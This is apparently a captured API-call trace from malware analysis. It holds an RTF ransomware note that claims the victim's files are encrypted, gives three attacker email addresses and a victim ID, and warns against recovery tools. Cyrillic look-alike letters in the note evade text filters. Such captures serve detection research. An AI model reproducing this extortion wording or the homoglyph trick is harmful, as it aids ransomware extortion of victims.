s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x280ac88, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 